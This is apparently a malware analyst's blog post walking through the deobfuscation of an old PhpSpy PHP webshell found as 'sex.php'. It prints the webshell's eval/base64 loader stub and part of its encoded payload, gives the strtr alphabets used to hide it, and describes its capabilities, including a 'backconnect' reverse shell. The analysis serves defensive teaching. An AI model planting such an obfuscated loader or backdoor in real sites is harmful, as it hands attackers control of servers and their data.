Remember PhpSpy?

Remember PhpSpy?

Background:

I recently came across some old archives of untouched malware samples, and decided to fire up an even older analysis platform to have some fun poking around. I decided to concentrate on a suspicious PHP page captured from a user’s Internet history; on the surface it initially could appear as just inappropriate content based upon the name of the PHP page, “sex.php”. But there was more to this page, in particular it was a fully functional PHP command and control application, and a variant of the original 2008 backdoor called “PhpSpy”. This was a fun throwback...

Summary of Capabilities:

This post will not be an analysis of the backdoor, but instead will describe the methodology and techniques used to decipher malicious code embedded and encoded in a seemingly normal web page. Similar styles and techniques are still used today in current webshells to hide capabilities and functions. With this particular variant, the code has a full file manager, database manager, arbitrary command execution, arbitrary php code execution, and a backdoor shell called "backconnect" which will run on a given TCP port. It has two options for the command shell; perl (wow!) or c. If perl is on the system, it will run 'angel_bc.pl' (included within the decoded php as yet another decoded string array). Otherwise it will try to execute the compiled version of 'angel_bc.c', which it handles by script code.

Encoded Sections:

Below is a snippet of the PHP code that should catch anyone's attention:

<?php         
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=89936;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJ1NnZHRRcW51NTgySk00T3M3eWVtK1RGVmxwakxpazZmY1VIQklaMFBoMUdYQ3h2YUV6S1lvRHI5LzNBd05XYlI9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>        
8QWsMtgsMtgsMtDZi0TPV98ZinzUlr+h8DWfyIZMyTWf8KEH8K5v8QWsmYgsMQNEMd/H8K5C2n8Uir+r4qWIpF4apn+hi9yKku5hpP8ZlF7h8QNEMtgsMQNEMdEImoNEMQNEMtSE2eEP+rkIkqqzLP+DOt82mmysiYk3pFoXTQpFLugGmnZX40pBT+UdeThE+nczyDUt6upUyV1JFFWQiBIaMoq9mZkH+BoPJdkg7I4Qy+ ……………………………………………….        

If you look at the PHP code there are two distinct portions of code that look like they are base64, but this is not the case. You can decode that first chunk into meaningful code (the one that starts with JE8wMDB…). However, if you run the second chunk of base64 data (the one that starts with 8QWsMtgs…) through a base64 decoder it outputs scrambled data. I piped that into a file and hex edited it but didn’t see any reference to X86 or ELF binaries, so I knew this was obfuscated and needed more analysis .

Analysis Begins:

Below are the steps I took to analyze this code:

Tools Needed:

⦁ Bash

⦁ base64 (or openssl base64 -d)

⦁ php cli

⦁ php manual to reference functions

Basic Primer Needed to Understand Structure of the Code:

PHP code begins with "<?php" and ends with "?>"..

⦁ eval() runs a string as php code

⦁ The string inside eval() appears to be base64_decoded before execution

⦁ The base64 code is encapsulated between apostrophes

Step One:

My first step was to decode the first encoded string chunk by copying the code into a file and issuing; cat coded.txt| base64 –d. This could also be accomplished using browser plugins as shown with the following screenshot.

Article content


After decoding this string I ended up with the following new code, in blue:

Article content

Step Two:

I attempted to base64 decode the second chunk of data the same way as above without looking too carefully at the code; as expected the output was obfuscated instead of meaningful code. If we look at the new code we generated we can inspect, and infer, that the second encoded section needs to be decoded (which that function is shown in blue below);

Article content

The code in blue is just a fancy way of reading in a large chunk of data, splitting it up into smaller sections, and piping it all through an “strtr” function that will trans-position characters through an obfuscation function. In PHP, the "strtr" function returns a copy of str , translating all occurrences of each character in from to the corresponding character in to ; string strtr ( string $str , string $from , string $to ).

So basically, here is that function broken down; the second encoded chunk of data will be read into the function in sections.

fread($O000O0O00,372),'SgdtQqnu582JM4Os7yem+TFVlpjLik6fcUHBIZ0Ph1GXCxvaEzKYoDr9/3AwNWbR=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));        

Then any matching characters from the encoded chunk that matches a character in the second parameter will be transposed with a character in the third parameter at the same offset:

Article content
Second parameter begins with "Sgdt...", the third parameter begins with "ABCD...". The encoded data will be read then transposed with matching characters in parameter 2 with corresponding letters in parameter 3.


For instance, let’s say you have this function;

strtr("Sicreg","ig","et");           

When this runs the output string will really be “Secret” since every “i” will be remapped to “e” and every “g” will be remapped to “t”. I provide a screenshot next to help understand this function and how it can be used to decode.

Article content

Clever Note:

If the from and to are different lengths, the extra characters in the longer of the two are ignored, which this is the case within this PHP code. The string $from (second parameter) in the PHP code is one character longer than the $to string, so that last character will be ignored. In this case, the last character is the “=” sign, which symbolizes base64 encoding. This is just an obfuscation technique to make encoded data still appear to be base64 and was a tricky technique that can stump analysts at times.

base64_decode(strtr(fread($O000O0O00,372),'SgdtQqnu582JM4Os7yem+TFVlpjLik6fcUHBIZ0Ph1GXCxvaEzKYoDr9/3AwNWbR=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'        

Step Three:

Once the obfuscation is understood it's time to decode; the following screenshot shows a simple way to extract out that second chunk of encoded data into a file. In this case, I just cat’d the sex.php file, GREP’d for the first few characters in the large encoded chunk, and saved to a file called “code.txt”.

Article content

Step Four:

Create a PHP script, “decode.php”, that will read in the contents of code.txt with the “file_get_contents” function. The contents of that file will be loaded into the “strtr” function, along with the $from and $to substitution character sets (in other words, every character in code.txt that matches characters in the $from parameter will be replaced with characters in the $to parameter). Next it will base64 decode that entire new encoded chunk. The screenshot below displays the decoding program, but the basic structure of the decoding process is as follows;

strtr (string $str, string $from, string $to)

  • $str will be “code.txt”
  • $from will be “'SgdtQqnu582JM4Os7yem+TFVlpjLik6fcUHBIZ0Ph1GXCxvaEzKYoDr9/3AwNWbR=’”
  • $to will be “'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'”

Article content

Step Five:

Once the decoding script runs it will output a new PHP file with meaningful, and readable, code. The following screenshot shows what all this encoding was trying to hide; a full-featured malware program and command and control shell.

Article content

Conclusion:

The PHP code also contains a backdoor called “backconnect”. The variable $back_connect is encoded with similar methods already discussed, so the analysis becomes somewhat of a loop for each capability of the PHP webshell. Once decoded we can see it’s a perl script (shown in the terminal window on the left within the below screenshot).

This was not an overly complicated analysis, but fun to see encoding and obfuscation techniques used today still have some roots from the past.

Article content


To view or add a comment, sign in

More articles by John Melvin

  • We need logs right...for persistence?

    Background: An organization's website was breached with a root-level compromise affecting their Apache installation…

  • Shakespeare Cipher

    In an earlier post I analyzed a PHP web shell using a version of transposition obfuscation. Recently, a friend of mine…

Others also viewed

Explore content categories